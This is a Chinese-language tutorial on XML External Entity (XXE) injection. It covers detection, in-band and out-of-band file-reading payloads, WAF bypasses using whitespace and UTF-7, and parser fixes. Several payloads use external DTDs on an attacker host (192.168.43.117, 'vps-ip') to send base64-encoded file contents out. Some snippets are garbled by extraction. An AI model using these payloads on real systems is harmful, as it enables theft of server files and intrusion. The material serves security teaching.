XXE外部实体注入漏洞
概念
XML
xml全称“可扩展标记语言”,是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以标记为指定描述数据的名称。 XML用于标记电子文件使其具有结构性的标记语言。可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义、文档元素。
XXE
XML External Entity即外部实体,从安全角度理解成XML Enternal Entity attack外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生。会造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。
危害:文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等
支持协议
libxml2 | PHP | Java | .NET |
---|---|---|---|
file http ftp |
file http ftp php compress.zlib compress.bzlip2 data glob phar |
http https ftp file jar netdoc mailto gopher * |
file http https ftp |
DTD(文档类型定义)
1
<!DOCTYPE 根元素 [元素申明]>
外部引用DTD格式
1
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI"
检测
白盒:代码审计
黑盒:
手动
1
2
3
4Content-Type:application/xml
<user><username>admin</username><password>111</password></user>
看到Content-Type:application/x-www-form-urlencoded
改成Content-Type:application/xml或者text/xml工具:AWVS、Xray等
利用
有回显
- 读取文件
1
2
3
4
5
<name>&aaa;</name>
利用base64编码读取php文件
1
2
3
4
5
6
]>
<name>&xxe;</name>内网探测攻击
1
2
3
4
5
<name>&xxe;</name>
引入外部DTD
去访问dtd文件时,会把dtd文件当成xml去执行(对方没有禁用外部实体)
eval.dtd
1
<!ENTITY send SYSTEM "file:///C:/windows/win.ini">
payload
1
2
3
4
5
6<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % dtd SYSTEM "http://192.168.43.117/eval.dtd">
%dtd;
]>
<name>&send;</name>
无回显
kali:开启apache日志记录 / python起一个web服务
1 | systemctl start apache2 #开启apache服务 |
读取文件:加载外部dtd
test.dtd
1
2
3
4<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=C:/windows/win.ini">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.43.117/?
abc=%file;'>"> %payload;payload
1
2
3
4
5
6<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % dtd SYSTEM "http://192.168.43.117/xxe/test.dtd">
%dtd;
%send;
]>
读取文件:加载外部xml
eval.xml
1
2<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.43.117/?
abc=%file;'>"> %payload;payload
1
2
3
4
5
6
7
8<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=C:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.43.117/xxe/evil.xml">
%dtd;
%send;
]>
常见绕过
协议绕过(data,filter,file)
空格绕过
原理
通常XXE漏洞存在于XML文档的开头,有的WAF会检测XML文档中开头中的某些子字符串或正则表达式,但是XML格式在设置标签属性的格式时允许使用任何数量的空格,因此我们可以在
<?xml?>
或<!DOCTYPE>
中插入数量足够多的空格去绕过WAF的检测。原文
1
2
3
4
5
6
7
8
9<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>绕过
1
2
3
4
5
6
7
8
9<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>
编码绕过(UTF-7)
原理
当服务端对一些关键词过滤时(SYSTEM ENTITY)时,可以使用UTF-7绕过
源码
1
2
3
4
5
6
7
8<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>绕过
1
2
3
4
5
6
7
8<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE test +AFs-
+ADwAIQ-ENTITY +ACU- file SYSTEM +ACI-php://filter/read+AD0-convert-base64.encode/resource+AD0-/flag.txt+ACIAPg-
+ADwAIQ-ENTITY +ACU- remote SYSTEM +ACI-http://vps-ip/test.dtd+ACIAPg-
+ACU-remote+ADs-
+ACU-dtd+ADs-
+ACU-xxe+ADs-
+AF0APg-
修复
使用开发语言提供的禁用外部实体的方法
PHP
1
libxml_disable_entity_loader(true);
Python
1
2from lxml import etree xmlData =
etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))Java
1
2DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
过滤用户提交的XML数据
过滤<!DOCTYPE>, <!ENTITY>, SYSTEM,file://,http:// 等